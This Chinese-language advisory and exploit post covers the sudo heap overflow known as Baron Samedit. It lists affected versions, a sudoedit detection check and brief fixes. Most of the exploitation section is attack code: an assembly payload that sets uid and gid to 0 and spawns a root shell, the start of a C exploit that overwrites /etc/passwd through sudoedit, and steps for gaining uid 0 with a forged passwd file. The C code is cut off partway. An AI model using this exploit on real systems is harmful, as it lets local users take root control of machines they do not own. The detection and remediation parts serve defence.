漏洞背景
1月26日,Sudo发布了一份安全通知,修复了类似Unix的操作系统在命令参数中避免反斜杠时基于堆的缓冲区溢出漏洞。漏洞等级:高危,漏洞评分:7.0。当sudo在shell模式下通过-s或-i命令行选项运行命令时,它使用反斜杠来转义命令参数中的特殊字符。但是,当使用-s或-i标志运行sudodit时,实际上不会转义,这可能导致缓冲区溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻击者就可以使用sudo来使用本地普通用户获得系统根权限。
漏洞影响版本
受影响版本
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本
sudo =>1.9.5p2
漏洞检测
用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令。
若返回以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。
漏洞利用
POC
#la.c
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;");
}
exp
by Baron Samedit of Qualys
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>
// !!! best value of this varies from system-to-system !!!
// !!! you will probably need to tune this !!!
#define RACE_SLEEP_TIME 10000
char *target_file;
char *src_file;
size_t query_target_size()
{
struct stat st;
stat(target_file, &st);
return st.st_size;
}
char* read_src_contents()
{
FILE* f = fopen(src_file, "rb");
if (!f) {
puts("oh no baby what are you doing :(");
abort();
}
fseek(f, 0, SEEK_END);
long fsize = ftell(f);
fseek(f, 0, SEEK_SET);
char *content = malloc(fsize + 1);
fread(content, 1, fsize, f);
fclose(f);
return content;
}
char* get_my_username()
{
// getlogin can return incorrect result (for example, root under su)!
struct passwd *pws = getpwuid(getuid());
return strdup(pws->pw_name);
}
int main(int my_argc, char **my_argv)
{
if (my_argc != 3) {
puts("./meme <target file> <src file>");
puts("Example: ./meme /etc/passwd my_fake_passwd_file");
return 1;
}
target_file = my_argv[1];
src_file = my_argv[2];
printf("we will overwrite %s with shit from %s\n", target_file, src_file);
char* myusername = get_my_username();
printf("hi, my name is %s\n", myusername);
size_t initial_size = query_target_size();
printf("%s is %zi big right now\n", target_file, initial_size);
char* shit_to_write = read_src_contents();
char memedir[1000];
char my_symlink[1000];
char overflow[1000];
char* bigshit = calloc(1,0x10000);
memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address
char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\",
overflow,
NULL
};
因违,以下内容暂时私发分享
执行:
gcc exploit.c
cp /etc/passwd fakepasswd
modify fakepasswd so your uid is 0
./a.out
漏洞修复
1、下载升级sudo软件包
2、对于无法立即更新的用户,建议使用systemtap